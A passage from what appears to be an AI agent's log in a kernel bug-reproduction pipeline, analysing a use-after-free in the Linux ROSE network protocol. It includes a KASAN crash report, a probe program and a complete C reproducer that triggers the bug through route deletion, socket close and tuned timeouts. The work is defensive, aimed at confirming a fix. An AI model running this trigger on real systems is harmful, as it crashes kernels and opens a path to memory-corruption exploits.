The next step is to delete the route we added using `ioctl(SIOCDELRT)`. This removes the network route and, importantly, decrements the refcount of the `rose_neigh`. Because the `t0timer` is still running, and the refcount of `neigh` becomes 0,  it calls `rose_remove_neigh(neigh)` and `timer_delete_sync` is called which stops the `t0timer`. Finally, the `neigh` structure is freed. We want to be sure this is successful by checking that the route is correctly deleted and the reference count is decremented.

Then, we `close()` the socket. This triggers the close sequence of the ROSE connection, and will call `rose_release`. At this point, the connection state is `ROSE_STATE_1`. `rose_release` calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`. `rose_transmit_link` gets called and restarts the stopped `t0timer`. This restart is critical to the vulnerability. Also, `t3timer` is started with `sysctl_rose_clear_request_timeout` on the sk. The `t0timer` will restart using `sysctl_rose_restart_request_timeout` as its timeout. These two timers are now running.

Here's the setup for the exploit: we will set `clear_request_timeout` and `restart_request_timeout` to 1000 and 2000 milliseconds respectively. This guarantees that `t3timer` will expire first (after 1000ms), which calls `rose_timer_expiry` and which decrements the `rose_neigh` refcount, causing `neigh` to be freed. After `t3timer` expires, `rose_neigh` refcount becomes 0.

Now, after 2000ms, the `t0timer` expires. The kernel calls `rose_t0timer_expiry`. However,  the `rose_neigh` that `t0timer` was associated with has been freed. Inside `rose_transmit_restart_request`, an skb is allocated for transmission and then passed to `rose_send_frame` which accesses `neigh->ax25`, resulting in a use-after-free read or write, a KASAN detected error.

We have to make sure to create the ROSE device properly to avoid issues with missing devices. To do this, we'll setup `rose0`, create an AX.25 device with `mkiss`, and ensure that we have proper routes configured using `SIOCSIFFLAGS` to bring up `rose0`, and configure an AX.25 device with `mkiss`. The `mkiss` device will provide the data link. We have to be sure it's up before adding the route. The `SIOCGIFFLAGS` call is used for checking if the devices are available.

Now, let's verify each detail. It is important to set `O_NONBLOCK` on the socket with `fcntl`. The `route.mask` will be 5, which will match a later call to delete the route. We have to verify that when we call the route entry delete and the route is found. The correct call to `rose_release` from `close()` is important


90/2 2026/05/26 11:38 tool codesearch-struct-layout
0m Args:
map[Name:rose_neigh]

Results:
map[Fields:[map[Name:next OffsetBits:0 SizeBits:64] map[Name:callsign OffsetBits:64 SizeBits:56] map[Name:digipeat OffsetBits:128 SizeBits:64] map[Name:ax25 OffsetBits:192 SizeBits:64] map[Name:dev OffsetBits:256 SizeBits:64] map[Name:count OffsetBits:320 SizeBits:16] map[Name:use OffsetBits:352 SizeBits:32] map[Name:number OffsetBits:384 SizeBits:32] map[Name:restarted OffsetBits:416 SizeBits:8] map[Name:dce_mode OffsetBits:424 SizeBits:8] map[Name:loopback OffsetBits:432 SizeBits:8] map[Name:queue OffsetBits:448 SizeBits:704] map[Name:t0timer OffsetBits:1152 SizeBits:640] map[Name:ftimer OffsetBits:1792 SizeBits:640]]]

91/2 2026/05/26 11:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 72229
							output: 2046
							thoughts: 2490
						

Thoughts:
**Analysis and Reproducer for AX.25 UAF in ROSE Module**

Okay, let's break this down. The offset of `ax25` within the data structure is precisely 192 bits, which is 24 bytes (0x18).  This directly aligns with the details in the reported bug! The `Write of size 8 at addr ffff888056f1ec18` and the fact that "The buggy address is located 24 bytes inside of freed 512-byte region" confirms the vulnerability location perfectly. We've got a solid match here.

Now, to reproduce, the goal is to trigger a use-after-free (UAF) condition when the timer expires. Here's my plan:

1.  **Create and Setup AX.25 Device:** First, I'll need to create an `ax0` using `mkiss` and set its line discipline to `N_AX25`. Then, I'll bring `ax0` up using `SIOCGIFFLAGS` and `SIOCSIFFLAGS`. I'll also bring up a `rose0` device and set a dummy MAC address for it using `SIOCSIFHWADDR`.

2.  **Configure ROSE Parameters:** I'll set some sysctls which will define the timers that will interact with the exploit such as `clear_request_timeout` and `restart_request_timeout`.

3.  **Create a ROSE Socket:** Next, I'll create a ROSE socket (AF\_ROSE, SOCK\_SEQPACKET, 0) and bind it to the `rose0` address to set up local communication.

4.  **Add ROSE Route:** I'll then add a ROSE route using `SIOCADDRT`.  This route will point to the `ax0` interface, with dummy AX.25 callsign for the neighbour.  The important parts of this route are the target address, the device, and the neighbor AX.25 callsign. I will add a route to a dummy destination address.

5.  **Initiate Connection (Non-Blocking):** Now I'll make a non-blocking `connect` call to the destination.  This will trigger a call request transmission which will start the timer.

6.  **Delete the Route:** After the connection is initiated, I'll delete the previously added route with `SIOCDELRT`. This will remove the reference to the neighbour and stop the initial timer.

7.  **Close the Socket:** Closing the socket using `close` is crucial. This will trigger the clear request transmission and set the timers to be running again.

8.  **Wait for Timers:** I'll wait for the relevant timers to expire to trigger the UAF. The timers are used for retransmission and retry of network packets.

I've carefully considered each step. The route setup needs to be correct (address, device, and valid AX.25 callsign format). The non-blocking connect is important to allow the timers to be started before the connection completes or fails. Closing the socket will cause `t0timer` to restart. This will then call `rose_transmit_restart_request` and access `neigh->ax25`, triggering the UAF. This appears to be the perfect minimal reproducer based on the vulnerability analysis. This is the exact sequence to reproduce the reported bug.



92/1 2026/05/26 11:39 loop
22m
93/2 2026/05/26 11:39 iteration 0
5m
94/3 2026/05/26 11:39 action If
0m Args:
map[OracleFeedback:]

95/3 2026/05/26 11:39 action merge-strategy
0m Results:
map[CurrentReproStrategy:The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```]

96/3 2026/05/26 11:39 agent repro-generator
0m Model:
gemini-3.1-pro-preview

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
